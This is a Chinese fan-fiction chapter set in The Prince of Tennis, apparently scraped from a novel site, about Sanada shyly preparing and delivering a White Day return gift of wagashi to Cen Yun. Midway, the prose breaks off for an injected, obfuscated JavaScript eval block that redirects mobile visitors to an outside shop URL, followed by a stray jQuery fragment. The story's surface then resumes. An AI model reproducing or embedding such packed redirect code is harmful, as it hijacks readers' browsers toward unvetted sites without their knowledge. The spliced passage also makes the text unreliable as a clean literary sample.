文趣网 > 都市小说 > 【网王】我们曾彼此照亮 > 52.白色情人节的回礼
    真田开始考虑白色情人节,是在三月的第一个星期。

    事情本身并不复杂。二月十四日,他收到了岑韵送来的巧克力。

    那盒巧克力与她送给冰帝朋友、游泳部成员和交响乐团同伴的礼物没有本质区别。包装统一,数量相近,也没有附带任何容易引起误解的内容。

    真田知道那是义理巧克力。

    因此,他现在的苦恼与岑韵无关。他的问题是,收到了礼物,就应该回礼。

    这是礼貌,也是他从小接受的教育。

    可回什么,真田不知道。

    他最初试图自行查找。搜索结果比预想中更复杂。

    糖果代表喜欢,饼干代表朋友,棉花糖代表拒绝,马卡龙价格偏高,可能传达特殊含义,手帕在部分场合不适合作为回礼,香水、首饰与饰品通常不适合关系尚未明确的异性同学。回礼价值最好与收到的礼物相当,也有页面建议选择两倍至三倍价值。

    真田盯着“三倍回礼”看了很久。

    岑韵送来的巧克力并不昂贵。按照三倍价值购买礼物,金额依然不会超出学生能够承担的范围。

    但问题在于,他不知道那盒巧克力具体多少钱。包装上没有价格。他也不可能去问岑韵。

    继续搜索后,页面又告诉他,回礼价值过高可能使对方产生压力,过低则显得敷衍。最好考虑对方平时的喜好。

    真田大概知道岑韵喜欢甜食。但“喜欢甜食”并不足以决定具体种类。

    真田关闭网页,想了一会。十分钟后,他重新打开,换了一个搜索关键词。

    ——白色情人节,普通女性朋友,回礼。

    搜索结果没有变得更简单。

    第二天午休,柳正在整理新一轮训练数据时,真田走到他面前。“柳。”

    柳抬头。“什么事?”

    “有件事想问你。”

    这句话本身已经足够少见。

    柳将笔放下。“关于训练?”

    “不是。”

    柳安静地等待。

    真田沉默了几秒,才问:“白色情人节回礼,一般送什么?”

    柳的目光在他脸上停留了两秒。然后,他拿出笔记本,翻到空白的一页。“需要先确认几个变量。”

    “什么变量?”

    “对方年龄、关系、情人节收到的礼物类型,以及希望回礼传达的含义。”

    真田皱眉。“只是普通回礼。”

    “关系是普通朋友?”

    “嗯。”

    柳在纸上写了一行。“同龄?”

    “同年级。”

    “收到的是手作巧克力,还是购买的商品?”

    “购买的。”

    “个人单独赠送,还是多人都有?”

    “多人都有。”

    柳又记录了一项。“预算?”

    “合理范围。”

    “合理范围需要具体数字。”

    真田将前一晚估算的价格告诉他。

    柳写下数字,神情没有任何变化。“对方偏好的食物?”

    真田停住。

    “甜食可以。”

    “喜欢西式点心还是日式点心?”

    “不知道。”

    “是否有过敏?”

    “没有。”

    “确定?”

    “她会确认食物成分。”

    柳点头,将这一项标记为低风险。

    “白色情人节常见回礼包括糖果、饼干、巧克力、烘焙点心和小型日用品。”他说,“考虑到是义理巧克力,避免过度昂贵或具有长期保存意义的物品比较合适。食品最安全。”

    真田同意。“具体呢?”

    柳列出了几家店。其中有西式糕点店,也有专门售卖季节限定糖果的店。

    最后一项是一家历史很久的和果子店。包装朴素,价格适中,春季限定点心使用樱叶与红豆制作,不会显得过于正式,也不具有明显的情感暗示。

    “这一家比较合适。”柳说。

    真田看向店名。“女生会喜欢?”

    “根据公开评价,女性顾客比例约为百分之六十八。”

    真田沉默了一下。“你为什么知道?”

    “去年白色情人节期间,丸井让我推荐过回礼。我更新过相关数据。”

    柳在原有记录旁补充了一行。“现在样本可以增加一个。”

    真田抬眼。“什么样本?”

    “咨询白色情人节回礼的网球部成员。”

    “没必要记录。”

    “已经记录了。”

    真田不再与他争论。他记下店铺地址,准备离开。

    柳在他走出两步以后说道:“真田。”

    “什么?”

    “这家店周末下午通常需要排队。建议上午去。”

    “知道了。”

    柳没有问礼物要送给谁。但真田离开以后,他在“关系”一栏旁边补上了一个名字。

    莱拉·坎贝尔。

    准确率,百分之九十七点四。

    剩余的百分之二点六,主要来自真田理论上也可能需要给其他同龄女生回礼。

    然而据柳掌握的数据,二月十四日当天,真田只收过一盒来自同龄女生的巧克力。

    因此,实际准确率还可以继续上调。

    “副部长终于开始做人了。”仁王的声音从活动室门口传来。

    真田转头。

    仁王靠在门边,手里拿着一瓶水,显然已经在那里站了一会儿。

    “你什么时候来的?”真田问。

    “柳问到预算的时候。”

    “偷听别人谈话,太松懈了。”

    “我没有偷听。”仁王走进来,“副部长在公共活动室里,非常认真地咨询女生会喜欢什么。我只是正常经过。”

    柳纠正:“真田询问的是白色情人节回礼,不是‘女生会喜欢什么’。”

    “有什么区别?”

    “后者范围更广。”

    仁王看向真田。“送谁?”

    “与你无关。”

    “坎贝尔?”

    真田没有回答。

    仁王立即笑了。“看来猜对了。”

    “只是回礼。”

    “我也没有说不是回礼。”

    “她情人节送了巧克力。”

    “我知道。”

    “所以应该回礼。”

    “我也知道。”

    真田的神情逐渐变得不耐烦。“那你还想说什么?”

    仁王拧开水瓶。“没什么。只是很感动。”

    “感动什么?”

    “副部长知道,收到别人送的东西以后,不能只说谢谢。”

    “这是基本礼节。”

    “对。”仁王点头,“非常基本。基本得令人感动。”

    真田没有理会他。

    柳却在笔记本上增加了一条观察记录。

    ——仁王得知后,表现出明显兴趣。

    真田周六上午去了那家和果子店。

    排队人数比柳预测得还多。

    店内大部分顾客都在挑选白色情人节限定包装。浅粉色、白色与淡蓝色的纸盒整齐摆在柜台里,部分礼盒还附有丝带和干花。

    真田最终没有选择限定包装。他买的是店里最普通的春季和果子组合。

    纸盒是未经染色的浅褐色,外面只用一张印有店名的白纸包裹,再系上一根细绳。

    没有爱心,没有花,也没有“White Day”的字样。

    店员问他是否需要附赠卡片。

    真田原本准备拒绝。但他想起情人节巧克力盒里的那张纸。

    “需要。”他说。

    店员递给他几种款式。真田选了最简单的一张。白色,没有图案。

    回家以后,他把卡片放在书桌上,很久没有动笔。

    写“白色情人节快乐”似乎过于刻意,“谢谢你的巧克力”已经足够。

    他在卡片中间写下:

    谢谢你的巧克力。

    真田检查了一遍字迹,将卡片放进纸盒。

    随后,他看向桌上的另一个相同纸盒。

    他买了两盒。一盒准备送人,另一盒是用来确认品质的。

    店员曾经明确说明保存方式与最佳食用日期。柳提供的评价数据也足够可靠。但真田仍然认为,送给别人食用的东西,最好由自己先确认。

    他拆开第二盒,依次品尝了其中三种点心。甜度适中,红豆馅不腻,樱叶的咸味也不过分。没有问题。

    第二天,他把完整的那一盒带去了学校。

    礼物在立海大网球部的储物柜里放了三天。

    第一天,真田认为放学后直接带去冰帝没有理由。

    第二天,他考虑过训练结束以后约岑韵在车站见面。但仅仅为了交付一盒回礼,让她特意前往车站,同样不合理。

    第三天,他将纸袋从柜子里拿出来,又放了回去。

    柳看见了。

    仁王也看见了。

    只有切原完全没有意识到那是什么。

    “副部长最近带零食了吗?”他问。

    真田正准备锁上柜门,动作停了一下。“不是。”

    “我看见纸袋了。”

    “与你无关。”

    “是训练后补充能量的?”

    “不是。”

    “那可以分吗?”

    “不可以。”

    切原失望地看着纸袋。“为什么?”

    仁王从旁边经过。“因为不是给你吃的。”

    “你怎么知道?”

    “我知道的事情很多。”

    切原转向柳。“柳前辈也知道吗?”

    柳回答:“知道。”

    “为什么只有我不知道?”

    “因为你认为那是副部长给自己准备的零食。”仁王说。

    “看起来就是。”

    “所以你不知道。”

    切原觉得这套逻辑有问题,却无法找到具体哪里有问题。

    真田关上柜门。“准备训练。”

    切原只能暂时放弃。

    走出活动室时,他还回头看了一眼柜子。“副部长居然会自己带甜点。”

    仁王差点笑出声。

    冰帝对白色情人节的态度与立海大完全不同。

    三月十四日当天,早自习还没有开始,班级里已经出现了大量包装袋。

    女生在情人节送出的巧克力数量不同,收到的回礼自然也不同。有人收到糖果,有人收到饼干,还有人收到看起来明显超过义理巧克力价值的礼盒。

    午饭饭桌上,向日一直在统计。“泷已经送了七份。”

    忍足吃了一口沙拉。“与你无关。”

    “宍户是五份。”

    “与你也无关。”

    “慈郎还没来。”

    “他来了也可能忘记。”

    向日不接受这种不确定性。他在练习册角落画了一张简单表格,记录目前观察到的数量。

    迹部走进餐厅时,手中没有任何礼物袋。

    向日立刻看向他。

    “你在看什么?”

    “你准备了多少份回礼?”

    “与你无关。”

    “很多吗?”

    “本大爷不负责统计这种无聊数据。”

    忍足看了一眼向日的表格。“你们两个的回答越来越像了。”

    迹部冷冷看向他。

    向日没有放弃统计。他转了一圈,最终把目光落到同桌吃饭的岑韵。

    向日问:“坎贝尔,你会收到很多吧?”

    “不会。”

    “为什么?”

    “因为我二月送的人不多。”

    “你不是送了游泳部和乐团吗?”

    “很多是一起吃的,不算单独送。”

    “网球部呢?”

    “是一起准备的。”

    “那也应该回礼。”

    “你们想回就回。”

    岑韵对这件事确实没有期待。

    她在英国生活时并没有白色情人节的习惯。来到日本以后,也只是知道三月十四日通常会收到二月巧克力的回礼。但她送巧克力时并没有逐一计算以后能够收到什么。

    游泳部成员的巧克力是训练结束后一起分的。乐团同伴也是。

    冰帝网球部的属于朋友之间的礼物。给立海大几人的巧克力同样没有特殊含义。

    向日显然比她更在意。“我觉得你至少会收到十份。”

    “为什么?”

    “你认识的人很多。”

    “认识不等于送过巧克力。”

    “可以直接送White Day礼物。”

    忍足提醒:“那通常不是回礼,是另外的意思。”

    向日看向岑韵。“那你更应该收到。”

    岑韵笑了一下。“你到底在统计回礼,还是统计告白?”

    “都可以统计。”

    “结果呢?”

    向日低头看表格。“目前泷最多。”

    迹部翻过一页课本。“无聊。”

    十分钟后,迹部的人将几个包装精致的礼袋送进餐厅。

    向日立即修改排名。

    下午训练进行到一半,仁王把切原叫到球场边。

    “赤也。”

    “什么?”

    “你今天想吃点心吗?”

    切原警惕地看着他。“你要做什么?”

    “邀请朋友来看你打球。”

    “谁?”

    “坎贝尔。”

    切原更加疑惑。“为什么?”

    “她不是说过可以来看训练吗?”

    “她没说过。”

    “那你现在问。”

    “今天?”

    “今天。”

    切原看了一眼球场另一侧的真田。“副部长会同意吗?”

    “你只是邀请朋友参观,又不是让她加入训练。”

    “可是她为什么会来神奈川?”

    仁王语气自然:“因为今天是白色情人节。”

    “这跟白色情人节有什么关系?”

    “她来见你,总不能空手吧。”

    切原终于明白了一半。

    “她会给我带吃的?”

    “很有可能。”

    切原立刻拿出手机。

    仁王提醒:“不要提副部长。”

    “为什么?”

    “因为是你邀请。”

    “本来就是我邀请。”

    切原给岑韵发消息。

    ——你今天训练多吗?

    岑韵回复得不算快。

    ——不多。怎么了?

    ——要不要来看我们训练?

    ——立海大?

    ——嗯。你不是没来看过吗?

    对面停了几分钟。

    ——今天?

    ——对。

    ——为什么突然邀请我?

    切原抬头看仁王。

    “她问为什么。”

    “说你最近进步很大。”

    切原打字:

    ——我最近进步很大。

    岑韵:

    ——所以?

    切原再次抬头。

    仁王思考片刻。

    “说你想让她看看。”

    ——想让你看看。

    这一次,岑韵沉默得更久。

    最后回复:

    ——好奇怪。

    切原小声说:“她觉得我奇怪。”

    “继续。”仁王说。

    “说什么?”

    “问她来不来。”

    切原发送:

    ——所以你来不来?

    岑韵最终回答:

    ——我先确认今天的安排。

    十分钟后,她发来:

    ——可以。大概五点到。

    切原高兴地收起手机。

    “她会带吃的吗?”

    “我怎么知道。”仁王说。

    “你刚才说很有可能。”

    “概率不是保证。”

    切原忽然觉得自己可能被利用了。但训练已经重新开始,他没有时间继续追问。

    岑韵确实觉得这份邀请十分突然。

    她与立海大网球部并不陌生。幸村、真田、切原和仁王都已经比较熟了。柳与其他人也在比赛或医院里碰见过。但她从未正式去过立海大附属中学,更没有看过他们的日常训练。切原突然要求她去神奈川看自己打球,理由只是“最近进步很大”。很像切原会做的事,也很像背后有人指导,却没有指导完整。

    岑韵当天只有游泳部的恢复训练。她与教练说明后,提前完成了当天安排,又给Leo发了消息。

    Leo只回复:

    ——几点回来?

    ——七点半以前。

    ——地址发我。

    岑韵把立海大的位置发过去。

    前往神奈川前,她经过一家中式点心店。虽然她不是去参加正式聚会,但第一次参观别人的社团,空手过去不太合适。她买了两盒花式点心。有桂花糕、绿豆糕,核桃酥,红豆酥。数量足够整个网球部一起分。

    岑韵到达立海大附中时,已经接近部活开始。

    她第一次来这所学校,对校内路线并不熟悉。切原原本说要到校门口接她,最后却因为训练前集合被真田提前叫走。

    仁王代替他站在门口。

    “欢迎。”他说。

    岑韵看了他一眼。“是你让切原叫我来的?”

    “为什么这么说?”

    “他不会突然想到邀请我来看普通训练。”

    “赤也也会想念朋友。”

    “他说自己最近打得很好。”

    “这是真的。”

    仁王的回答没有任何破绽。

    岑韵没有继续追问。她今天没有游泳训练,交响乐团也只安排了午间分部练习。确认能够按时回家以后,她便乘车来了神奈川。

    她手里提着一个纸袋。

    仁王看了一眼。“带了什么?”

    “中式糕点。”

    “白色情人节礼物?”

    “不是。”岑韵说,“第一次来你们学校,不好空手。”

    “果然很有礼貌。”

    岑韵停下脚步。“所以你们真的在等吃的?”

    仁王笑起来。“只有赤也。”

    切原看见她时,立即跑了过来。“你真的来了。”

    “你邀请我,我当然会来。”

    岑韵将纸袋递给他。“给大家的。”

    切原打开看了一眼。里面分装着桂花糕、绿豆糕,核桃酥与红豆酥。

    “这是白色情人节礼物吗?”

    “不是。”

    “那为什么今天带?”

    “因为今天过来。”

    切原接受了这个答案。他拿起一块绿豆糕,刚准备拆开,真田的声音从球场另一侧传来。

    “赤也。”

    切原的手停住。

    “训练前不准吃。”

    “只有一块。”

    “训练后。”

    切原只能把糕点放回去。

    真田走近以后,才看见站在球场边的岑韵。他的脚步明显停了一下。

    “你怎么来了?”

    “切原邀请我来看训练。”

    真田看向切原。

    切原立刻说道:“我最近打得很好。”

    “我知道。”

    “所以想让她看。”

    真田又看向仁王。

    仁王正在研究纸袋上的中文,仿佛完全没有参与。

    岑韵问:“不方便吗?”

    “没有。”

    真田的回答比犹豫更快。“不要进入球场。站在场外。”

    “我知道。”

    “球可能飞出来。”

    “我会注意。”

    真田点头。他没有赶人,也没有询问她为什么特意从东京过来。只是转身回到球场时,步伐比平时稍微快了一点。

    柳站在底线旁,目光从岑韵移到真田身上。

    数据库需要更新。

    这是岑韵第一次完整观看立海大的日常训练。

    她以前看过立海大打球。但训练与正式比赛不一样。所有人不断重复相同动作,跑动、击球、捡球、重新列队。真田站在场边时比比赛中更加严厉,几乎不会放过任何一次明显失误。

    切原因为她在场,前十分钟打得格外用力,结果连续三次将球打出底线。

    “控制力量。”真田说。

    “刚才只是没调整好。”

    “重新开始。”

    “我已经连续打了二十个。”

    “有三个出界。”

    “那也有十七个进了。”

    “要求是二十个。”

    切原只能重新计数。

    岑韵站在场外,忍不住笑了一下。

    切原听见以后转头。“不要笑。”

    下一球直接打在球框上。

    真田的脸色更沉。“训练时不要分心。”

    “是她在笑。”

    “这与你失误无关。”

    岑韵立即收敛笑容。

    仁王经过她身边时低声说:“副部长今天会比平时严格。”

    “为什么?”

    “有外人在看。”

    “我不是来看他训练的。”

    仁王意味深长地“哦”了一声。

    岑韵补充:“我是来看切原。”

    球场另一侧,真田刚好抬头。他不可能听清他们的对话。

    仁王却对岑韵说:“最好再重复大声一点。”

    “为什么?”

    “赤也需要鼓励。”

    岑韵没有上当。

    训练结束后,切原第一个冲向纸袋。他拆开绿豆糕,咬了一大口。

    “这个好吃。”

    “先擦手。”真田说。

    切原看了看自己刚刚握过球拍的手,只能暂时把糕点放回包装。

    其他人也围过来分点心。

    丸井对红豆酥评价最高,认为外皮虽然不够松软,但馅料比例很好。

    胡狼觉得桂花糕过甜。

    柳询问了购买地点与保存期限。

    仁王每一种都拿了一块,最后说道:“坎贝尔第一次来就带礼物,某些人应该反省。”

    “谁?”切原问。

    “没有特指。”

    真田没有参与分点心。

    他走进活动室,将训练记录放回柜子。那个装着和果子的纸袋仍然在最里面。

    从周一放到今天。保质期还没有问题,包装也没有损坏。

    他原

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754036|209411||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    本一直找不到合适的机会,现在岑韵就在立海大,今天还是三月十四日。从礼节上来说,没有比现在更合理的时间。

    但活动室外有整个网球部。

    切原正在大声介绍每一种中式糕点的味道。

    丸井已经开始问岑韵下次是否可以带其他种类。

    仁王一定会注意到他手里的纸袋。

    柳也会知道。

    真田站在柜子前,第一次觉得等待所有人离开是一件过于漫长的事情。

    部活结束以后,岑韵没有立刻走。

    切原坚持要带她看社团活动室与学校里最适合练习跑步的坡道。

    真田拒绝了后一个提议。“天已经快黑了。”

    “只是走过去看一眼。”

    “她还要回东京。”

    岑韵看了一眼时间。“我确实应该准备走了。”

    切原有些失望。“下次可以再来吗?”

    “可以。”

    “下次来看正式比赛。”

    “好。”

    切原终于满意。

    丸井与胡狼先行离开。

    柳整理完记录,也背起书包。

    仁王却迟迟没有走。他坐在活动室门口,慢慢系鞋带。一根鞋带被他解开三次,又重新系了三次。

    真田看了他一眼。“仁王。”

    “什么?”

    “你还不回去?”

    “马上。”

    “你已经说过两次。”

    “鞋带没有系好。”

    “刚才已经系好了。”

    “又松了。”

    柳从旁边经过,平静说道:“正常情况下,同一根鞋带连续三次松开的概率低于百分之一。”

    仁王看向他。“鞋带也会有意外。”

    柳没有拆穿。他朝岑韵点头告别,先走出了活动室。

    切原终于洗完手,又拿走两块糕点,准备回家。

    仁王看了看真田,又看了看仍然站在外面的岑韵。

    他伸手勾住切原的肩膀。“赤也,走了。”

    “我还没和岑韵说完。”

    “电车要赶不上了。”

    “下一班也可以。”

    “副部长刚才说她要回东京。”

    “那我送她去车站。”

    “不顺路。”

    “车站只有一个方向。”

    “你需要先去买英语练习册。”

    切原愣住。“我为什么要买?”

    “你的快用完了。”

    “还有很多页。”

    仁王不再解释,直接把他拉走。

    经过真田身边时,他停了一下。“副部长。”

    真田看着他。

    仁王笑得十分自然。“记得锁门。”

    随后,他带着仍然不明所以的切原离开。

    活动室外终于安静下来。

    夕阳已经落到球场后方。球场边的铁网上留着一层很淡的金色,刚才训练时不断响起的击球声全部消失,只剩下远处其他社团收拾器材的声音。

    岑韵站在门口。

    “我也走了。”她说。

    真田没有立刻回答。他转身打开柜子,取出那个纸袋。

    纸袋在储物柜里放了几天,边角仍然平整。真田走到她面前,将纸袋递过去。

    “这个。”

    岑韵低头看了一眼。“什么?”

    “回礼。”

    她没有立即接。

    “回礼?”

    “白色情人节。”

    岑韵愣住。直到这时,她才真正想起二月在医院送过的那盒巧克力。

    “你还记得?”

    真田皱眉。“为什么会不记得?”

    “因为只是义理巧克力。”

    “我知道。”

    “你不用特意回礼。”

    “收到了礼物,就应该回礼。”

    他说得理所当然,像是在说明训练后必须整理球场,或接受别人的邀请以后应该按时赴约。

    岑韵看了他一会儿,伸手接过纸袋。“谢谢。”

    夕阳从球场另一侧照过来。

    两个人之间仍然留着一段距离。

    短暂的安静里,整片球场仿佛只剩下他们两个人。

    仁王其实没有走远。

    他把切原交给柳以后,又从另一侧绕回了网球场。他没有准备偷听,只是想确认副部长是否真的能在今天把礼物送出去。

    从小路尽头看过去,真田正将纸袋递给岑韵。

    岑韵伸手接住。

    夕阳落在两个人之间,纸袋的影子被拉得很长。

    他们站得没有餐厅那张照片里近。

    但姿态比那时更自然。

    仁王拿出手机。

    镜头对准两个人。

    画面里的真田正低头说什么,岑韵抬眼看他。她手里提着纸袋,另一只手还停留在袋口附近。

    仁王按下快门。

    照片很清楚,比餐厅那一张清楚得多。

    没有失焦。

    没有其他人挡住。

    甚至连夕阳都恰好。

    仁王低头看了一眼。

    然后笑着将照片删掉。

    岑韵并不知道走廊另一侧有人来过。

    她低头打开纸袋。“现在可以看吗?”

    “可以。”

    里面是一只包装朴素的纸盒。没有白色情人节常见的蓝色丝带,也没有任何爱心装饰。只有店名和一根系得非常整齐的细绳。

    “和果子?”她问。

    “嗯。”

    岑韵解开细绳。

    盒盖打开以后,最上面放着一张白色卡片。

    卡片上只有一句话。

    谢谢你的巧克力。

    没有称呼,没有署名,字迹端正得几乎像印刷出来。

    岑韵看了好几秒。

    “你还写了纸条。”

    “店员说可以附卡片。”

    “所以你就写了?”

    “只送东西没有说明,可能不清楚用途。”

    “今天是白色情人节。”

    “你刚才已经忘了。”

    岑韵无法反驳。

    她把卡片放回盒子里,又看了看里面的点心。每一枚和果子都很简单。没有特别鲜艳的颜色,也没有做成花朵或爱心形状。

    “为什么选这个?”她问。

    “柳说女生会喜欢。”

    岑韵抬起头。“你问了柳?”

    “嗯。”

    “你专门问他白色情人节应该送什么?”

    “他有相关数据。”

    这个回答太符合真田,以至于岑韵一时不知道应该先笑哪一部分。

    她努力保持认真。“所以这是柳根据数据推荐的?”

    “我也确认过。”

    “确认什么?”

    “品质。”

    “你去过这家店?”

    “嗯。”

    “尝过吗?”

    “尝过。”

    岑韵愣了一下。“嗯?”

    “食品最好确认品质。”

    真田说得十分严肃。

    “送给别人吃的东西,自己应该先确认。”

    岑韵低头看着盒子,又抬头看他。“所以你买了一盒,拆开吃过,再把剩下的给我?”

    真田眉头立即皱起来。“不是。”

    “那是怎么确认的?”

    “买了两盒。”

    “一盒自己吃?”

    “嗯。”

    “一盒给我?”

    “嗯。”

    岑韵终于笑出来。

    最初只是嘴角动了一下,很快便完全忍不住。

    她抱着纸盒,肩膀因为笑意轻轻发抖。

    真田站在原地,神情逐渐变得严肃。“有什么问题?”

    “没有。”

    “那为什么笑?”

    “因为你太认真了。”

    “送入口的东西,本来就应该谨慎。”

    “我知道。”

    “这不是值得笑的事。”

    “我没有笑品质确认。”

    “那你在笑什么?”

    岑韵看着他。

    夕阳从他身后照过来,将帽檐下的神情遮住了一部分。

    他为了回赠一盒没有任何特殊含义的情人节巧克力,询问柳,周末去排队,买下两盒相同的和果子,一盒自己确认味道,另一盒如果自己今天不来立海大,她都不知道他会什么时候给自己。

    他甚至写了一张纸条,只有一句谢谢。

    只是因为收到礼物,就应该回礼。

    因为送给别人吃,就应该确认品质。

    岑韵低头合上盒盖。

    “我很喜欢。”她说。

    真田停了一下。“还没有吃。”

    “包装也可以喜欢。”

    “包装很普通。”

    “纸条也可以喜欢。”

    真田没有回答。

    岑韵重新系好细绳。“点心回去再吃。”

    “最佳食用期是三天。”

    “我会在三天内吃完。”

    “不要一次吃太多。”

    岑韵又想笑。“知道了,副部长。”

    真田的脸色立刻沉下来。“不要这样叫。”

    “好,真田君。”

    她提起纸袋。“下次我会告诉你味道。”

    “我已经尝过。”

    “但你不知道我喜不喜欢。”

    真田看着她。

    岑韵朝他笑了一下。“所以还是要告诉你。”

    回家以后,岑韵先把纸袋放在餐桌上。

    Leo经过时,第一眼便看见了陌生的包装。

    “这是什么?”

    “白色情人节回礼。”

    Leo停下来。“谁送的?”

    岑韵解开细绳。“真田君。”

    Leo对这个答案有些意外。

    他走近一些,看见盒子里的和果子。“这家店很有名。”

    “你知道?”

    “以前吃过。”

    “好吃吗?”

    “不错。”

    岑韵拿起一枚樱叶和果子,咬了一小口。

    味道确实很好。甜味不重,樱叶带着一点淡淡的咸味。红豆馅很细,也没有过分浓烈的香精味道。很像真田会选择的东西。

    Leo伸手想拿一枚。

    岑韵把盒子向自己面前移了一点。“你不是吃过吗?”

    “很久以前。”

    “这是我的回礼。”

    Leo看了她一眼。

    岑韵平时并不介意和他分享食物。尤其是一整盒点心。

    Leo没有继续伸手,而是看向放在盒盖上的白色卡片。

    “他还写了纸条?”

    “嗯。”

    “写了什么?”

    “谢谢你的巧克力。”

    “只有这个?”

    “只有这个。”

    Leo觉得有些好笑。

    岑韵没有理他。她又吃了一口和果子。

    Leo问:“喜欢吗?”

    岑韵低头看着那张只有一句话的小纸条。

    过了几秒,她轻轻点头。

    “喜欢。”

    Leo以为她说的是点心。

    “那我下次去买。”